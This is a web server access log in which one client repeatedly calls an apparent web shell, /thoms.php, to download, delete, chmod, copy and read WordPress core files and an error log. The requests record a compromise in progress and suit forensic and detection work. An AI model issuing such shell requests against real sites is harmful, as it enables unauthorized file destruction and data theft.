45.135.193.11 - - [11/Sep/2026:23:44:45 -0400] "GET /thoms.php?dl=theme-previews.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=theme-previews.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:45 -0400] "GET /thoms.php?del=rest-api.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59426 "http://163.245.207.76:443/thoms.php?del=rest-api.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:45 -0400] "GET /thoms.php?chmod=class-simplepie.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-simplepie.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:45 -0400] "GET /thoms.php?chmod=class-wp-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:45 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fpost-thumbnail-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11905 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fpost-thumbnail-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:46 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-taxonomy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:46 -0400] "GET /thoms.php?chmod=abilities.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=abilities.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:46 -0400] "GET /thoms.php?chmod=class-wp-customize-control.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11545 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-control.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-user-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11899 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-user-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:46 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=json-schema.php HTTP/1.1" 200 14430 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=json-schema.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2FID3&p= HTTP/1.1" 200 12411 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2FID3&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:46 -0400] "GET /thoms.php?del=class-wp-session-tokens.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?del=class-wp-session-tokens.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fcache.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fcache.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:46 -0400] "GET /thoms.php?chmod=class-requests.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-requests.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:46 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-phpass.php HTTP/1.1" 200 14644 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-phpass.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-object-cache.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11853 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-object-cache.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:46 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-roles.php HTTP/1.1" 200 14887 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-roles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ffunctions.wp-scripts.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ffunctions.wp-scripts.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:46 -0400] "GET /thoms.php?chmod=ms-deprecated.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=ms-deprecated.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:46 -0400] "GET /booking-wise2.com.tw/wp-includes/ai-client/ HTTP/1.1" 200 914 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:46 -0400] "GET /booking-wise2.com.tw/wp-includes/block-template-utils.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:47 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fblocks&p= HTTP/1.1" 200 12406 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fblocks&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:47 -0400] "GET /thoms.php?chmod=class-walker-nav-menu.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11545 "http://163.245.207.76:443/thoms.php?chmod=class-walker-nav-menu.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:47 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-paused-extensions-storage.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:47 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-date-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11914 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-date-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:47 -0400] "GET /booking-wise2.com.tw/wp-includes/PHPMailer/ HTTP/1.1" 200 1386 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:47 -0400] "GET /booking-wise2.com.tw/wp-includes/class-phpass.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:47 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-key-service.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11911 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-key-service.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:47 -0400] "GET /thoms.php?dl=block-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59416 "http://163.245.207.76:443/thoms.php?dl=block-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:47 -0400] "GET /thoms.php?chmod=class-wp-application-passwords.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-application-passwords.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:47 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-taxonomy.php HTTP/1.1" 200 17358 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-taxonomy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:47 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=error_log HTTP/1.1" 200 75473 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:47 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fmeta.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fmeta.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:47 -0400] "GET /thoms.php?del=formatting.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?del=formatting.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:48 -0400] "GET /thoms.php?chmod=customize&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=customize&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:47 -0400] "GET /thoms.php?del=template-canvas.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59418 "http://163.245.207.76:443/thoms.php?del=template-canvas.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:48 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-block-pattern-categories-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:48 -0400] "GET /thoms.php?del=ai-client.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=ai-client.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:48 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-patterns-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-patterns-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:48 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-http-proxy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:48 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-date-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:48 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-metadata-lazyloader.php HTTP/1.1" 200 14120 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-metadata-lazyloader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:48 -0400] "GET /thoms.php?dl=class-wp-block-type.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59342 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-type.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:48 -0400] "GET /thoms.php?dl=class-wp-comment-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-comment-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:48 -0400] "GET /thoms.php?chmod=class-wp-scripts.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=class-wp-scripts.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:49 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-walker.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:49 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-user.php HTTP/1.1" 200 18995 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-user.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:49 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=category-template.php HTTP/1.1" 200 28741 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=category-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:49 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-hook.php HTTP/1.1" 200 16913 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-hook.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:49 -0400] "GET /thoms.php?dl=wp-diff.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59337 "http://163.245.207.76:443/thoms.php?dl=wp-diff.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:49 -0400] "GET /thoms.php?dl=block-patterns.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59399 "http://163.245.207.76:443/thoms.php?dl=block-patterns.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:49 -0400] "GET /thoms.php?dl=class-wp-customize-nav-menus.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-nav-menus.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:49 -0400] "GET /thoms.php?chmod=class-wp-http-requests-hooks.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11548 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-requests-hooks.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:50 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-cookie-service.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11558 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-cookie-service.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:50 -0400] "GET /thoms.php?chmod=class-wp-theme-json-resolver.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11550 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-resolver.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:50 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=connectors.php HTTP/1.1" 200 21412 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=connectors.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:50 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fcapabilities.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11854 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fcapabilities.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:50 -0400] "GET /thoms.php?chmod=class-wp-user-meta-session-tokens.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-meta-session-tokens.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:50 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=comment.php HTTP/1.1" 200 56962 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:50 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ffeed-rdf.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ffeed-rdf.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:50 -0400] "GET /thoms.php?del=admin-bar.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=admin-bar.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:50 -0400] "GET /thoms.php?chmod=class-wp-block-pattern-categories-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11562 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-pattern-categories-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:50 -0400] "GET /thoms.php?dl=block-i18n.json&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59344 "http://163.245.207.76:443/thoms.php?dl=block-i18n.json&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:51 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass.wp-styles.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11905 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass.wp-styles.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:51 -0400] "GET /booking-wise2.com.tw/wp-includes/link-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:50 -0400] "GET /thoms.php?del=class-wp-navigation-fallback.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-wp-navigation-fallback.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:51 -0400] "GET /thoms.php?dl=https-detection.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=https-detection.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:51 -0400] "GET /thoms.php?chmod=ID3&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=ID3&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
